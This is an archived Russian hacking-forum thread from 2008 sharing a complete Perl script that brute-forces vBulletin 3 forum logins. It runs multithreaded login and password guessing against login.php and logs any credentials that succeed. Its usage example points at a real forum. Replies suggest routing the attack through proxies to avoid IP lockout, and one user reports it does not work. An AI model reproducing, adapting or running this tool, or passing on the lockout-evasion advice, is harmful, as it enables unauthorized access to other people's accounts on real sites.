PDA

Просмотр полной версии : брут под vBulletin 3


m0s]{
15.07.2008, 16:16
брут под vBulletin 3



#!/usr/bin/perl

#################################################
# vBulletin 3 (rus) brute
# -------------
#
# copyright : (C) Cyber Lords, 2002-2007
# http://www.cyberlords.net
#
# Coded by VeX [614883]
#################################################

### modules ###
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;

### main ###
usage() if ($ARGV[0] eq "-h" || $ARGV[0] eq "-help");
print "\n\n~~~ vBulletin 3 (rus) brute by VeX 1.0.3 ~~~\n\n";
getopt("lpuht");

$logins = $opt_l || 'logins.txt';
$pass = $opt_p || 'pass.txt';
$host = $opt_u;
$logs = $opt_h || 'logs.txt';
$threads = $opt_t || 50;

open(P, $pass) or die "\n[-] Don't open ".$pass." file\n";
while(<P>) { push(@pass, $_); }
close(P);
open(L, $logins) or die "\n[-] Don't open ".$logins." file\n";
while(<L>) { push(@logins, $_); }
close(L);

print "[+] Loading ".scalar(@logins)." logins\n"; logs("[+] Loading ".scalar(@logins)." logins\n");
print "[+] Loading ".scalar(@pass)." passwords\n"; logs("[+] Loading ".scalar(@pass)." passwords\n\n");

foreach $login (@logins)
{
chomp($login);
foreach $pass (@pass)
{
chomp($pass);
push (@info, "$login---$pass");
}
}

#for(@info){ print "$_\n"; }

while(1) {
for ($i=0;$i<=$threads;$i++) {
unless($info[$counter]) {
killpidz();
exit;
}
if ($pid=fork()) {
push(@forked,$pid);
}
else {
($user, $pass) = split /---/, $info[$counter];
chomp($user); chomp($pass);

if(brute($user, $pass))
{
print "\n\n[+] Find [$user:$pass]";
logs("\n\n[+] Find [$user:$pass]");
$counter = scalar(@info)+1;
exit(1);
}
exit;
}
$counter++;
}
killpidz();
}

sub brute {
my($user, $pass) = @_;
$data = "vb_login_username=$user&cookieuser=1&vb_login_password=$pass&s=&do=login&vb_login_md5password=&vb_login_md5password_utf=";

$cookie_jar = new HTTP::Cookies();
$opera = new LWP::UserAgent;
$opera->agent('Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))');
$opera->timeout(30);
$h = new HTTP::Headers
Accept => 'application/vnd.ms-excel, application/msword, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-comet, */*',
User_Agent => 'Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))',
Referer => 'http://google.com/';

$request = new HTTP::Request('GET', $host, $h);
$response = $opera -> request($request);
$content = $response -> content;
$cookie_jar->extract_cookies($response);

open(C, ">login_1.html"); print C $content; close(C);

$h = new HTTP::Headers
Accept => 'application/vnd.ms-excel, application/msword, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-comet, */*',
User_Agent => 'Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))',
Referer => $host;
$request = new HTTP::Request('POST', $host."login.php?do=login", $h);
$cookie_jar -> add_cookie_header($request);
$request->content_type('application/x-www-form-urlencoded');
$request->content('type=another');
$request->content($data);
$response = $opera -> request($request);
$content = $response -> content;
$cookie_jar->extract_cookies($response);

open(C, ">login_2.html"); print C $content; close(C);

if($content=~m/Спасибо за вход/){ print "[+] $user:$pass ... ok\n"; return 1; }
else{ print "[-] $user:$pass ... error\n"; return 0; }
}

sub logs {
$text = shift;
open(L, ">>".$logs); print L $text; close(L);
}

sub usage {
print "\nUsage: $0 [options]...\n\n";
print "Options are:
-u: Forum url
-l: Login's file [Default: login.txt]
-p: Password's file [Default: pass.txt]
-h: Log's file [Default: logs.txt]
-t: Threads [Degault: 50]
-h: This help

Exemple:
perl brute.pl -u \"http://www.raginfo.ru/forum/\" -l users.txt -p big_pass.txt -h logi.txt -t 25\n";
exit(1);
}

sub killpidz {
foreach (@forked) {
chomp;
waitpid($_,0);
kill("TERM" => $_)
}
undef @forked;
}

exit(1);

YoYo Factory
15.07.2008, 17:30
гм... вобла же по ip блокирует если неправильно ввел 5 раз. Разве не так?

А прокси юзать религия не позволяет? :)
Включите функцию прокси, все норм будет... :)

mr.The
15.07.2008, 20:03
мега приватный скрипт однозначно.

sasha008
15.07.2008, 20:13
У меня непашет!!